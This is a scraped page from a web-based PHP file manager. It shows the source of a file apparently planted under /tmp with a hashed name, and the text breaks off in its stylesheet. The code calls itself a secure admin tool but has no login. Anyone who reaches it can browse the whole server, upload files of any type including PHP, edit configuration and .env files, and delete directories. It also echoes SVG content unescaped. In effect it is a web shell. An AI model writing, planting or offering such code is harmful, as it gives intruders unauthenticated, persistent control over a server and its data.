FM
WebAdmin File Manager
Linux 5.15.0-164-generic · PHP 8.2.27
/
/
tmp
Files
Upload
New
Info
Up
Edit: fm_561976076a548b87d2f40cbb88d0f3b8.php
Back
<?php /** * WebAdmin File Manager * Secure file management interface */ $config = array( 'app_name' => 'WebAdmin FM', 'session_duration' => 3600 * 24 * 7, 'debug_mode' => false, 'start_dir' => __DIR__, 'allowed_extensions' => array(), 'max_upload_size' => 1024 * 1024 * 1024, 'editable_extensions' => array( 'txt', 'log', 'md', 'csv', 'json', 'xml', 'yaml', 'yml', 'php', 'phtml', 'php3', 'php4', 'php5', 'php7', 'php8', 'html', 'htm', 'xhtml', 'css', 'scss', 'sass', 'less', 'js', 'jsx', 'ts', 'tsx', 'vue', 'svelte', 'astro', 'py', 'rb', 'pl', 'sh', 'bash', 'zsh', 'c', 'cpp', 'h', 'hpp', 'java', 'cs', 'go', 'rs', 'swift', 'sql', 'env', 'htaccess', 'conf', 'cfg', 'ini', 'properties', 'gitignore', 'dockerfile', 'makefile', 'editorconfig', 'tpl', 'smarty', 'twig', 'blade', 'latte' ), 'image_extensions' => array('jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg', 'ico', 'tiff', 'tif') ); @set_time_limit(0); @ini_set('upload_max_filesize', '1024M'); @ini_set('post_max_size', '1024M'); @ini_set('memory_limit', '512M'); define('DS', DIRECTORY_SEPARATOR); if (session_status() === PHP_SESSION_NONE) { session_set_cookie_params(array( 'lifetime' => $config['session_duration'], 'path' => '/', 'secure' => !empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off', 'httponly' => true, 'samesite' => 'Lax' )); session_start(); } if (empty($_SESSION['security_token'])) { $_SESSION['security_token'] = bin2hex(random_bytes(32)); } $security_token = $_SESSION['security_token']; $home_dir = realpath($config['start_dir']); function clean_input($data) { if (is_array($data)) return array_map('clean_input', $data); $data = trim($data); if (function_exists('get_magic_quotes_gpc') && get_magic_quotes_gpc()) { $data = stripslashes($data); } return $data; } function sanitize_output($data) { return htmlspecialchars($data, ENT_QUOTES, 'UTF-8'); } $_GET = clean_input($_GET); $_POST = clean_input($_POST); if ($config['debug_mode']) { error_reporting(E_ALL); ini_set('display_errors', '1'); } else { error_reporting(0); ini_set('display_errors', '0'); } function verify_token($token) { return isset($_SESSION['security_token']) && hash_equals($_SESSION['security_token'], $token); } function format_size($bytes) { if ($bytes === false) return 'N/A'; if ($bytes <= 0) return '0 B'; $units = array('B', 'KB', 'MB', 'GB', 'TB'); $base = log($bytes, 1024); return round(pow(1024, $base - floor($base)), 2) . ' ' . $units[floor($base)]; } function get_perms($file) { if (!file_exists($file)) return '---------'; $perms = @fileperms($file); if ($perms === false) return '---------'; $type = '-'; if (($perms & 0xC000) == 0xC000) $type = 's'; elseif (($perms & 0xA000) == 0xA000) $type = 'l'; elseif (($perms & 0x6000) == 0x6000) $type = 'b'; elseif (($perms & 0x4000) == 0x4000) $type = 'd'; $info = $type; $info .= (($perms & 00400) ? 'r' : '-'); $info .= (($perms & 00200) ? 'w' : '-'); $info .= (($perms & 00100) ? 'x' : '-'); $info .= (($perms & 00040) ? 'r' : '-'); $info .= (($perms & 00020) ? 'w' : '-'); $info .= (($perms & 00010) ? 'x' : '-'); $info .= (($perms & 00004) ? 'r' : '-'); $info .= (($perms & 00002) ? 'w' : '-'); $info .= (($perms & 00001) ? 'x' : '-'); return $info; } function get_owner_name($file) { if (function_exists('posix_getpwuid') && function_exists('posix_getgrgid')) { $owner = @posix_getpwuid(@fileowner($file)); $group = @posix_getgrgid(@filegroup($file)); return trim(($owner['name'] ?? 'N/A') . ':' . ($group['name'] ?? 'N/A'), ':'); } return 'N/A'; } function get_file_extension($filename) { return strtolower(pathinfo($filename, PATHINFO_EXTENSION)); } function is_editable($filename) { global $config; $ext = get_file_extension($filename); $name_lower = strtolower(basename($filename)); if (in_array($ext, $config['editable_extensions'])) return true; $special_files = array('.htaccess', '.env', '.gitignore', 'dockerfile', 'makefile', '.editorconfig', '.bashrc', '.bash_profile', '.zshrc', '.profile'); if (in_array($name_lower, $special_files)) return true; return false; } function is_image_file($filename) { global $config; return in_array(get_file_extension($filename), $config['image_extensions']); } function get_mime_type($filepath) { if (function_exists('mime_content_type')) { $mime = @mime_content_type($filepath); if ($mime) return $mime; } if (function_exists('finfo_open')) { $finfo = @finfo_open(FILEINFO_MIME_TYPE); if ($finfo) { $mime = @finfo_file($finfo, $filepath); @finfo_close($finfo); if ($mime) return $mime; } } return 'application/octet-stream'; } function is_binary_content($content) { if (empty($content)) return false; return preg_match('/[\x00-\x08\x0B\x0C\x0E-\x1F]/', $content) > 0; } function delete_directory($dir) { if (!file_exists($dir)) return true; if (!is_dir($dir)) return @unlink($dir); $items = @scandir($dir); if ($items === false) return false; foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $path = $dir . DS . $item; if (is_dir($path)) { if (!delete_directory($path)) return false; } else { if (!@unlink($path)) return false; } } return @rmdir($dir); } function safe_download_file($filepath, $filename) { if (!file_exists($filepath) || !is_readable($filepath)) return false; $mime = get_mime_type($filepath); $size = @filesize($filepath); while (ob_get_level()) ob_end_clean(); header('Content-Type: ' . $mime); header('Content-Disposition: attachment; filename="' . addslashes($filename) . '"'); header('Content-Transfer-Encoding: binary'); header('Content-Length: ' . $size); header('Cache-Control: no-cache, must-revalidate'); header('Pragma: no-cache'); header('Expires: 0'); $handle = @fopen($filepath, 'rb'); if ($handle === false) return false; while (!feof($handle)) { echo fread($handle, 8192); flush(); } @fclose($handle); return true; } $self = basename($_SERVER['PHP_SELF']); $message = ''; $message_type = 'info'; $view_content = ''; $edit_content = ''; $edit_filename = ''; $current_dir = realpath($config['start_dir']); if ($current_dir === false) { $current_dir = realpath(dirname(__FILE__)); } if ($current_dir === false) { $current_dir = DS; } if (isset($_GET['cd']) && !empty($_GET['cd'])) { $real_req = @realpath($_GET['cd']); if ($real_req !== false && is_dir($real_req)) { $current_dir = $real_req; } } elseif (isset($_SESSION['current_dir']) && is_dir($_SESSION['current_dir'])) { $current_dir = realpath($_SESSION['current_dir']); if ($current_dir === false) $current_dir = DS; } $_SESSION['current_dir'] = $current_dir; $parent_dir = dirname($current_dir); $has_parent = ($parent_dir !== $current_dir && $parent_dir !== false); $is_home = ($current_dir === $home_dir); if ($_SERVER['REQUEST_METHOD'] === 'POST') { $token_valid = isset($_POST['security_token']) && verify_token($_POST['security_token']); if (!$token_valid) { $message = "Invalid security token. Please refresh the page."; $message_type = 'error'; } else { if (isset($_FILES['upload_file']) && !empty($_FILES['upload_file']['name'])) { $upload_error = $_FILES['upload_file']['error']; $original_name = basename($_FILES['upload_file']['name']); $file_info = pathinfo($original_name); $ext = strtolower($file_info['extension'] ?? ''); $dest = $current_dir . DS . $original_name; if ($upload_error !== UPLOAD_ERR_OK) { $err_msgs = array( UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize.', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE.', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded.', UPLOAD_ERR_NO_FILE => 'No file was uploaded.', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder.', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk.', UPLOAD_ERR_EXTENSION => 'Upload stopped by extension.' ); $message = $err_msgs[$upload_error] ?? 'Unknown upload error.'; $message_type = 'error'; } else { $allowed = empty($config['allowed_extensions']) || in_array($ext, $config['allowed_extensions']); if (!$allowed) { $message = "Extension '$ext' is not allowed."; $message_type = 'error'; } elseif ($_FILES['upload_file']['size'] > $config['max_upload_size']) { $message = "File too large (max " . format_size($config['max_upload_size']) . ")."; $message_type = 'error'; } else { $tmp_name = $_FILES['upload_file']['tmp_name']; $upload_ok = false; $err_detail = ''; if (@move_uploaded_file($tmp_name, $dest)) { $upload_ok = true; } else { $err_detail = error_get_last()['message'] ?? ''; if (@copy($tmp_name, $dest)) { @unlink($tmp_name); $upload_ok = true; } else { $err_detail = error_get_last()['message'] ?? $err_detail; if (is_uploaded_file($tmp_name)) { $src = @fopen($tmp_name, 'rb'); $dst = @fopen($dest, 'wb'); if ($src && $dst) { while (!feof($src)) { $buf = fread($src, 8192); if ($buf === false) break; fwrite($dst, $buf); } fclose($src); fclose($dst); @unlink($tmp_name); $upload_ok = true; } else { if ($src) fclose($src); if ($dst) fclose($dst); } } } } if ($upload_ok) { @chmod($dest, 0644); $message = "File '$original_name' uploaded successfully."; $message_type = 'success'; } else { $message = "Upload failed: " . $err_detail; $message_type = 'error'; } } } } if (isset($_POST['mkdir']) && !empty($_POST['mkdir'])) { $dir_name = basename(trim($_POST['mkdir'])); if (empty($dir_name)) { $message = "Folder name cannot be empty."; $message_type = 'error'; } else { $new_path = $current_dir . DS . $dir_name; if (file_exists($new_path)) { $message = "Folder '$dir_name' already exists."; $message_type = 'error'; } elseif (@mkdir($new_path, 0755, true)) { @chmod($new_path, 0755); $message = "Folder '$dir_name' created."; $message_type = 'success'; } else { $err = error_get_last(); $message = "Failed to create folder: " . ($err['message'] ?? 'Permission denied.'); $message_type = 'error'; } } } if (isset($_POST['create_file']) && !empty($_POST['create_file'])) { $file_name = basename(trim($_POST['create_file'])); if (empty($file_name)) { $message = "File name cannot be empty."; $message_type = 'error'; } else { $new_path = $current_dir . DS . $file_name; if (file_exists($new_path)) { $message = "File '$file_name' already exists."; $message_type = 'error'; } else { $h = @fopen($new_path, 'w'); if ($h) { fclose($h); @chmod($new_path, 0644); $message = "File '$file_name' created."; $message_type = 'success'; } else { $err = error_get_last(); $message = "Failed to create file: " . ($err['message'] ?? 'Permission denied.'); $message_type = 'error'; } } } } if (isset($_POST['rename_from']) && isset($_POST['rename_to'])) { $old_name = basename(trim($_POST['rename_from'])); $new_name = basename(trim($_POST['rename_to'])); if (empty($old_name) || empty($new_name)) { $message = "Names cannot be empty."; $message_type = 'error'; } else { $old_path = $current_dir . DS . $old_name; $new_path = $current_dir . DS . $new_name; if (!file_exists($old_path)) { $message = "Source '$old_name' not found."; $message_type = 'error'; } elseif ($old_path === $new_path) { $message = "Source and destination are the same."; $message_type = 'error'; } elseif (file_exists($new_path)) { $message = "Target '$new_name' already exists."; $message_type = 'error'; } elseif (@rename($old_path, $new_path)) { $message = "Renamed '$old_name' to '$new_name'."; $message_type = 'success'; } else { $err = error_get_last(); $message = "Rename failed: " . ($err['message'] ?? 'Permission denied.'); $message_type = 'error'; } } } if (isset($_POST['save_edit']) && isset($_POST['edit_content']) && isset($_POST['edit_filename'])) { $filename = basename(trim($_POST['edit_filename'])); $content = $_POST['edit_content']; $filepath = $current_dir . DS . $filename; if (!file_exists($filepath)) { $message = "File '$filename' not found."; $message_type = 'error'; } else { $content = html_entity_decode($content, ENT_QUOTES, 'UTF-8'); $result = @file_put_contents($filepath, $content); if ($result !== false) { $message = "File '$filename' saved."; $message_type = 'success'; } else { $err = error_get_last(); $message = "Save failed: " . ($err['message'] ?? 'Permission denied.'); $message_type = 'error'; } } } } } if ($_SERVER['REQUEST_METHOD'] === 'GET') { if (isset($_GET['delete']) && isset($_GET['token'])) { if (verify_token($_GET['token'])) { $target_name = basename($_GET['delete']); $target_path = $current_dir . DS . $target_name; if (!file_exists($target_path)) { $message = "Item '$target_name' not found."; $message_type = 'error'; } elseif (is_dir($target_path)) { if (delete_directory($target_path)) { $message = "Directory '$target_name' deleted."; $message_type = 'success'; } else { $message = "Failed to delete directory."; $message_type = 'error'; } } elseif (@unlink($target_path)) { $message = "File '$target_name' deleted."; $message_type = 'success'; } else { $message = "Failed to delete file."; $message_type = 'error'; } } else { $message = "Invalid security token."; $message_type = 'error'; } } if (isset($_GET['download']) && isset($_GET['token'])) { if (verify_token($_GET['token'])) { $filename = basename($_GET['download']); $filepath = $current_dir . DS . $filename; if (file_exists($filepath) && is_file($filepath) && is_readable($filepath)) { safe_download_file($filepath, $filename); exit; } else { $message = "File '$filename' not found or not readable."; $message_type = 'error'; } } else { $message = "Invalid security token."; $message_type = 'error'; } } if (isset($_GET['view'])) { $filename = basename($_GET['view']); $filepath = $current_dir . DS . $filename; if (!file_exists($filepath)) { $view_content = "<div class='msg me'>File not found.</div>"; } elseif (!is_readable($filepath)) { $view_content = "<div class='msg me'>Cannot read file (permission denied).</div>"; } else { $mime = get_mime_type($filepath); $ext = get_file_extension($filename); if (is_image_file($filename)) { if ($ext === 'svg') { $svg_data = @file_get_contents($filepath); $view_content = "<div style='text-align:center;padding:16px'>" . $svg_data . "</div>"; } else { $b64 = base64_encode(@file_get_contents($filepath)); $view_content = "<div style='text-align:center;padding:16px'><img src='data:" . $mime . ";base64," . $b64 . "' style='max-width:100%;max-height:70vh;border-radius:10px;border:1px solid rgba(255,255,255,.1)' alt='" . sanitize_output($filename) . "'></div>"; } } elseif ($mime === 'application/pdf') { $b64 = base64_encode(@file_get_contents($filepath)); $dl_link = '?download=' . urlencode($filename) . '&token=' . $security_token; $view_content = "<div style='padding:16px'><embed src='data:application/pdf;base64," . $b64 . "' type='application/pdf' style='width:100%;height:65vh;border-radius:10px'><p style='margin-top:12px;text-align:center'><a href='" . $dl_link . "' class='btn bh'>Download PDF</a></p></div>"; } elseif (strpos($mime, 'video/') === 0) { $b64 = base64_encode(@file_get_contents($filepath)); $view_content = "<div style='text-align:center;padding:16px'><video controls style='max-width:100%;border-radius:10px'><source src='data:" . $mime . ";base64," . $b64 . "' type='" . $mime . "'></video></div>"; } elseif (strpos($mime, 'audio/') === 0) { $b64 = base64_encode(@file_get_contents($filepath)); $view_content = "<div style='text-align:center;padding:16px'><audio controls style='width:100%'><source src='data:" . $mime . ";base64," . $b64 . "' type='" . $mime . "'></audio></div>"; } else { $content = @file_get_contents($filepath); if ($content === false) { $view_content = "<div class='msg me'>Cannot read file content.</div>"; } elseif (is_binary_content($content)) { $dl_link = '?download=' . urlencode($filename) . '&token=' . $security_token; $view_content = "<div class='msg me'>Binary file - cannot display as text.<br><a href='" . $dl_link . "' class='btn bh' style='margin-top:10px'>Download File</a></div>"; } else { $code_exts = array('php','html','htm','css','js','json','xml','sql','py','rb','sh','bash','yaml','yml','md','c','cpp','java','go','rs','ts','vue','jsx','tsx'); if (in_array($ext, $code_exts)) { $view_content = "<pre class='cv'><code>" . sanitize_output($content) . "</code></pre>"; } else { $view_content = "<pre class='tv'>" . sanitize_output($content) . "</pre>"; } $fsize = @filesize($filepath); $lines = substr_count($content, "\n"); $view_content .= "<div class='fib'><span>Size: " . format_size($fsize) . "</span><span>MIME: " . sanitize_output($mime) . "</span><span>Lines: " . $lines . "</span></div>"; } } } } if (isset($_GET['edit'])) { $filename = basename($_GET['edit']); $filepath = $current_dir . DS . $filename; if (!file_exists($filepath)) { $message = "File '$filename' not found."; $message_type = 'error'; } elseif (!is_readable($filepath)) { $message = "Cannot read '$filename' (permission denied)."; $message_type = 'error'; } elseif (!is_writable($filepath)) { $message = "File '$filename' is not writable."; $message_type = 'error'; } else { $content = @file_get_contents($filepath); if ($content === false) { $message = "Cannot read file content."; $message_type = 'error'; } elseif (is_binary_content($content)) { $message = "Binary files cannot be edited as text."; $message_type = 'error'; } else { $edit_content = $content; $edit_filename = $filename; } } } } function create_breadcrumbs($path) { global $security_token; $parts = explode(DS, $path); $build = ''; $html = '<nav class="bc">'; $html .= '<a href="?cd=' . urlencode(DS) . '&token=' . $security_token . '" class="bl">/</a>'; if (!empty($parts[0])) { $build = $parts[0]; $html .= '<span class="bs">/</span><a href="?cd=' . urlencode($build) . '&token=' . $security_token . '" class="bl">' . sanitize_output($parts[0]) . '</a>'; array_shift($parts); } else { array_shift($parts); } foreach ($parts as $i => $part) { if (empty($part)) continue; $build .= DS . $part; $html .= '<span class="bs">/</span>'; if ($i === count($parts) - 1) { $html .= '<span class="bc-active">' . sanitize_output($part) . '</span>'; } else { $html .= '<a href="?cd=' . urlencode($build) . '&token=' . $security_token . '" class="bl">' . sanitize_output($part) . '</a>'; } } $html .= '</nav>'; return $html; } function get_file_icon_class($filename) { $ext = get_file_extension($filename); $map = array( 'php'=>'ip','phtml'=>'ip', 'html'=>'ih','htm'=>'ih','xhtml'=>'ih', 'css'=>'ic','scss'=>'ic','sass'=>'ic','less'=>'ic', 'js'=>'ij','jsx'=>'ij','ts'=>'it','tsx'=>'it', 'json'=>'id','xml'=>'id','yaml'=>'id','yml'=>'id', 'py'=>'iw','rb'=>'iw','java'=>'iw','go'=>'iw', 'rs'=>'iw','c'=>'iw','cpp'=>'iw','h'=>'iw', 'sql'=>'ix','db'=>'ix','sqlite'=>'ix', 'md'=>'il','txt'=>'il','log'=>'il', 'jpg'=>'ii','jpeg'=>'ii','png'=>'ii','gif'=>'ii', 'webp'=>'ii','svg'=>'ii','bmp'=>'ii','ico'=>'ii', 'mp4'=>'iv','avi'=>'iv','mkv'=>'iv','mov'=>'iv','webm'=>'iv', 'mp3'=>'ia','wav'=>'ia','ogg'=>'ia','flac'=>'ia', 'pdf'=>'iz', 'doc'=>'io','docx'=>'io','xls'=>'io','xlsx'=>'io', 'ppt'=>'io','pptx'=>'io','csv'=>'io', 'zip'=>'ib','rar'=>'ib','tar'=>'ib','gz'=>'ib','7z'=>'ib', 'env'=>'ig','htaccess'=>'ig','conf'=>'ig','ini'=>'ig','cfg'=>'ig', 'sh'=>'ik','bash'=>'ik','zsh'=>'ik', ); return $map[$ext] ?? 'if'; } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width,initial-scale=1,maximum-scale=5"> <title><?php echo sanitize_output($config['app_name']); ?></title> <style> *{box-sizing:border-box;margin:0;padding:0} :root{ --a:#6366f1;--ah:#4f46e5;--al:#eef2ff; --bg:#0f1117;--bg2:#161822;--bg3:#1c1f2e;--bg4:#252838; --tx:#e4e7f1;--tx2:#9499b3;--tx3:#5d6280; --bd:rgba(255,255,255,.06);--bd2:rgba(255,255,255,.1); --gn:#34d399;--gh:#10b981; --rd:#f87171;--rh:#ef4444; --yl:#fbbf24; --r:12px;--rs:8px; } html{-webkit-text-size-adjust:100%} body{font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,Helvetica,Arial,sans-serif;background:var(--bg);color:var(--tx);line-height:1.55;min-height:100vh;overflow-x:hidden} .app{max-width:1080px;margin:0 auto;padding:12px} /* Header */ .hdr{background:linear-gradient(135deg,var(--bg3) 0%,var(--bg4) 100%);border:1px solid var(--bd);border-radius:var(--r);padding:16px 20px;margin-bottom:10px;display:flex;justify-content:space-between;align-items:center;gap:12px;position:relative;overflow:hidden} .hdr::before{content:'';position:absolute;top:-30px;right:-30px;width:120px;height:120px;background:radial-gradient(circle,rgba(99,102,241,.15),transparent 70%);pointer-events:none} .hdr-l{display:flex;align-items:center;gap:10px;min-width:0} .hdr-logo{width:34px;height:34px;border-radius:8px;background:linear-gradient(135deg,var(--a),#818cf8);display:flex;align-items:center;justify-content:center;flex-shrink:0;font-size:.7rem;font-weight:800;color:#fff;letter-spacing:-.03em} .hdr-t{font-size:.95rem;font-weight:700;letter-spacing:-.02em;white-space:nowrap;overflow:hidden;text-overflow:ellipsis} .hdr-m{font-size:.7rem;color:var(--tx3);white-space:nowrap;overflow:hidden;text-overflow:ellipsis;text-align:right;flex-shrink:0} /* Toolbar */ .tbar{background:var(--bg2);border:1px solid var(--bd);border-radius:var(--r);padding:10px 14px;margin-bottom:10px;display:flex;flex-direction:column;gap:8px} .bc{font-size:.78rem;color:var(--tx2);overflow-x:auto;white-space:nowrap;scrollbar-width:none;-webkit-overflow-scrolling:touch} .bc::-webkit-scrollbar{display:none} .bl{color:var(--a);text-decoration:none;font-weight:600;transition:color .15s} .bl:hover{color:#a5b4fc} .bc-active{color:var(--tx);font-weight:700} .bs{margin:0 3px;color:var(--tx3)} .ta{display:flex;gap:5px;flex-wrap:wrap} /* Buttons */ .btn{padding:5px 12px;border-radius:var(--rs);border:1px solid var(--bd2);font-size:.76rem;cursor:pointer;text-decoration:none;display:inline-flex;align-items:center;gap:5px;transition:all .15s;white-space:nowrap;font-weight:600;font-family:inherit;line-height:1.45;background:var(--bg3);color:var(--tx2)} .btn:hover{background:var(--bg4);color:var(--tx);border-color:rgba(255,255,255,.15)} .bh{background:var(--a);color:#fff;border-color:var(--a)} .bh:hover{background:var(--ah);border-color:var(--ah)} .bg{background:rgba(52,211,153,.12);color:var(--gn);border-color:rgba(52,211,153,.2)} .bg:hover{background:rgba(52,211,153,.2);border-color:rgba(52,211,153,.3)} .br{background:rgba(248,113,113,.1);color:var(--rd);border-color:rgba(248,113,113,.15)} .br:hover{background:rgba(248,113,113,.18);border-color:rgba(248,113,113,.25)} .bhome{background:linear-gradient(135deg,var(--a),#818cf8);color:#fff;border:none;padding:5px 13px} .bhome:hover{opacity:.88;background:linear-gradient(135deg,var(--a),#818cf8)} .bsm{padding:3px 8px;font-size:.7rem} /* Content */ .ct{background:var(--bg2);border:1px solid var(--bd);border-radius:var(--r);padding:16px} /* Panel */ .pnl{background:var(--bg3);border:1px solid var(--bd);padding:18px;border-radius:var(--rs);margin-bottom:16px} .pnl h3{margin:0 0 12px;font-size:.92rem;font-weight:700;display:flex;align-items:center;gap:8px} .pnl h3::before{content:'';width:3px;height:16px;background:var(--a);border-radius:2px;flex-shrink:0} /* Forms */ .fr{display:flex;gap:8px;align-items:center} .fr.stk{flex-direction:column;align-items:stretch} .inp{padding:8px 12px;border:1px solid var(--bd2);border-radius:var(--rs);font-size:.84rem;flex:1;transition:all .15s;font-family:inherit;background:var(--bg2);color:var(--tx);min-width:0} .inp:focus{outline:none;border-color:var(--a);box-shadow:0 0 0 3px rgba(99,102,241,.15)} .inp::placeholder{color:var(--tx3)} /* File Table */ .ft{width:100%;border-collapse:collapse;font-size:.79rem} .ft th{text-align:left;padding:8px 10px;border-bottom:1px solid var(--bd2);color:var(--tx3);font-weight:700;background:var(--bg3);font-size:.68rem;text-transform:uppercase;letter-spacing:.5px;white-space:nowrap} .ft td{padding:7px 10px;border-bottom:1px solid var(--bd);vertical-align:middle} .ft tbody tr{transition:background .1s} .ft tbody tr:hover{background:rgba(99,102,241,.04)} .fn-wrap{display:flex;align-items:center;gap:9px;min-width:0} .fn{font-weight:500;color:var(--tx);text-decoration:none;white-space:nowrap;overflow:hidden;text-overflow:ellipsis;display:block;min-width:0;transition:color .12s} .fn:hover{color:var(--a)} .fnd{color:#a5b4fc;font-weight:700} .fi{width:30px;height:30px;border-radius:7px;flex-shrink:0;display:flex;align-items:center;justify-content:center;font-size:.58rem;font-weight:800;color:rgba(255,255,255,.95);letter-spacing:-.03em;text-shadow:0 1px 2px rgba(0,0,0,.3)} .ip .fi{background:linear-gradient(135deg,#8b5cf6,#7c3aed)} .ih .fi{background:linear-gradient(135deg,#fb923c,#ea580c)} .ic .fi{background:linear-gradient(135deg,#22d3ee,#0891b2)} .ij .fi{background:linear-gradient(135deg,#facc15,#eab308);color:#422006} .it .fi{background:linear-gradient(135deg,#60a5fa,#2563eb)} .ii .fi{background:linear-gradient(135deg,#f472b6,#ec4899)} .iv .fi{background:linear-gradient(135deg,#a78bfa,#7c3aed)} .ia .fi{background:linear-gradient(135deg,#2dd4bf,#14b8a6)} .iz .fi{background:linear-gradient(135deg,#f87171,#ef4444)} .ib .fi{background:linear-gradient(135deg,#a8a29e,#78716c)} .id .fi{background:linear-gradient(135deg,#94a3b8,#64748b)} .iw .fi{background:linear-gradient(135deg,#4ade80,#22c55e)} .ix .fi{background:linear-gradient(135deg,#38bdf8,#0ea5e9)} .il .fi{background:linear-gradient(135deg,#cbd5e1,#94a3b8);color:#475569} .io .fi{background:linear-gradient(135deg,#60a5fa,#3b82f6)} .ig .fi{background:linear-gradient(135deg,#c084fc,#a855f7)} .ik .fi{background:linear-gradient(135deg,#64748b,#475569)} .i0 .fi{background:linear-gradient(135deg,var(--a),#818cf8)} .if .fi{background:linear-gradient(135deg,#475569,#334155)} .als{display:flex;gap:3px;flex-shrink:0} .al{color:var(--tx3);font-size:.7rem;text-decoration:none;cursor:pointer;padding:3px 7px;border-radius:5px;transition:all .12s;border:1px solid transparent;white-space:nowrap} .al:hover{background:var(--al);color:var(--a);border-color:rgba(99,102,241,.15)} .ad{color:var(--rd)} .ad:hover{background:rgba(248,113,113,.1);color:var(--rh);border-color:rgba(248,113,113,.15)} .pc{font-family:'SF Mono',Consolas,monospace;font-size:.7rem;color:var(--tx3);white-space:nowrap} .oc{font-size:.7rem;color:var(--tx3);white-space:nowrap} .sc{font-family:'SF Mono',Consolas,monospace;font-size:.76rem;text-align:right;white-space:nowrap;color:var(--tx2)} .dc{font-size:.74rem;color:var(--tx3);white-space:nowrap} /* Summary */ .sm{display:flex;justify-content:space-between;align-items:center;margin-bottom:12px;font-size:.76rem;color:var(--tx3);flex-wrap:wrap;gap:6px} /* Messages */ .msg{padding:12px 14px;border-radius:var(--rs);font-size:.84rem;border-left:3px solid} .me{background:rgba(248,113,113,.08);border-color:var(--rd);color:#fca5a5} .ms{background:rgba(52,211,153,.08);border-color:var(--gn);color:#6ee7b7} .mi{background:rgba(99,102,241,.08);border-color:var(--a);color:#a5b4fc} /* Toast */ .tw{position:fixed;top:12px;right:12px;left:12px;z-index:9999;pointer-events:none} .toast{background:var(--bg3);border:1px solid var(--bd2);padding:11px 14px;border-radius:var(--rs);margin-bottom:6px;border-left:3px solid var(--a);font-size:.82rem;animation:tin .2s ease;pointer-events:auto;max-width:360px;margin-left:auto;color:var(--tx);backdrop-filter:blur(12px)} .toast.ts{border-left-color:var(--gn)} .toast.te{border-left-color:var(--rd)} /* Code views */ .cv{background:var(--bg);color:#c9d1d9;padding:16px;border-radius:var(--rs);border:1px solid var(--bd);overflow:auto;font-family:'SF Mono','Fira Code',Consolas,monospace;font-size:.78rem;line-height:1.65;max-height:65vh;white-space:pre-wrap;word-wrap:break-word;-webkit-overflow-scrolling:touch} .tv{background:var(--bg3);color:var(--tx);padding:16px;border-radius:var(--rs);border:1px solid var(--bd);overflow:auto;font-family:'SF Mono',Consolas,monospace;font-size:.78rem;line-height:1.65;max-height:65vh;white-space:pre-wrap;word-wrap:break-word;-webkit-overflow-scrolling:touch} .fib{display:flex;flex-wrap:wrap;gap:14px;padding:9px 12px;background:var(--bg);border:1px solid var(--bd);border-radius:6px;margin-top:8px;font-size:.73rem;color:var(--tx3)} /* Editor */ .eta{width:100%;min-height:420px;padding:14px;border:1px solid var(--bd2);border-radius:var(--rs);font-family:'SF Mono','Fira Code',Consolas,monospace;font-size:.82rem;line-height:1.55;resize:vertical;tab-size:4;background:var(--bg);color:#c9d1d9;-webkit-overflow-scrolling:touch} .eta:focus{outline:none;border-color:var(--a);box-shadow:0 0 0 3px rgba(99,102,241,.15)} .ebar{display:flex;gap:8px;margin-top:12px;padding-top:12px;border-top:1px solid var(--bd);flex-wrap:wrap} /* Modal */ .mbg{position:fixed;inset:0;background:rgba(0,0,0,.6);backdrop-filter:blur(4px);z-index:1000;display:none;align-items:center;justify-content:center;padding:16px} .mbg.on{display:flex} .mbox{background:var(--bg3);border:1px solid var(--bd2);padding:22px;border-radius:var(--r);width:100%;max-width:380px;box-shadow:0 24px 48px rgba(0,0,0,.4)} .mbox h3{margin:0 0 12px;font-size:.95rem;font-weight:700} .minput{width:100%;padding:9px 12px;border:1px solid var(--bd2);border-radius:var(--rs);font-size:.88rem;margin:8px 0;font-family:inherit;background:var(--bg2);color:var(--tx)} .minput:focus{outline:none;border-color:var(--a);box-shadow:0 0 0 3px rgba(99,102,241,.15)} .mbtns{display:flex;justify-content:flex-end;gap:8px;margin-top:16px} /* Info table */ .itbl{width:100%;border-collapse:collapse;font-size:.82rem} .itbl td{padding:7px 10px;border-bottom:1px solid var(--bd);vertical-align:top;word-break:break-word} .itbl tr:nth-child(even) td{background:rgba(255,255,255,.015)} .itbl .lb{font-weight:700;width:180px;white-space:nowrap;color:var(--tx2)} /* Empty */ .empty{text-align:center;padding:48px 16px;color:var(--tx3)} .empty-i{width:52px;height:52px;border-radius:14px;background:var(--bg4);margin:0 auto 14px;display:flex;align-items:center;justify-content:center;font-size:.75rem;font-weight:800;color:var(--tx3);border:1px solid var(--bd2)} /* Panel header row */ .ph{display:flex;justify-content:space-between;align-items:center;margin-bottom:12px;flex-wrap:wrap;gap:8px} .ph h3{margin:0;font-size:.92rem;font-weight:700;display:flex;align-items:center;gap:8px} .ph h3::before{content:'';width:3px;height:16px;background:var(--a);border-radius:2px;flex-shrink:0} @keyframes tin{from{transform:translateY(-8px);opacity:0}to{transform:translateY(0);opacity:1}} .cv::-webkit-scrollbar,.tv::-webkit-scrollbar,.eta::-webkit-scrollbar{width:6px;height:6px} .cv::-webkit-scrollbar-track,.tv::-webkit-scrollbar-track,.eta::-webkit-scrollbar-track{background:transparent} .cv::-webkit-scrollbar-thumb,.tv::-webkit-scrollbar-thumb,.eta::-webkit-scrollbar-thumb{background:var(--bg4);border-radius:3px} .cv::-webkit-scrollbar-thumb:hover,.tv::-webkit-scrollbar-thumb:hover,.eta::-webkit-scrollbar-thumb:hover{background:var(--tx3)} @media(max-width:640px){ .app{padding:8px} .hdr{padding:12px 14px;flex-direction:column;align-items:flex-start;gap:8px} .hdr-m{text-align:left;width:100%} .tbar{padding:8px 10px} .ct{padding:12px} .fr.stk .btn{width:100%;justify-content:center} .ft th,.ft td{padding:6px 7px} .ft .ch{display:none} .fi{width:26px;height:26px;border-radius:6px;font-size:.52rem} .al{font-size:.65rem;padding:2px 5px} .bc{font-size:.73rem} .pnl{padding:14px} .hdr-logo{width:30px;height:30px;border-radius:7px;font-size:.65rem} } @media(min-width:641px) and (max-width:900px){ .ft .cm{display:none} } </style> </head> <body> <div class="app"> <div class="hdr"> <div class="hdr-l"> <div class="hdr-logo">FM</div> <div 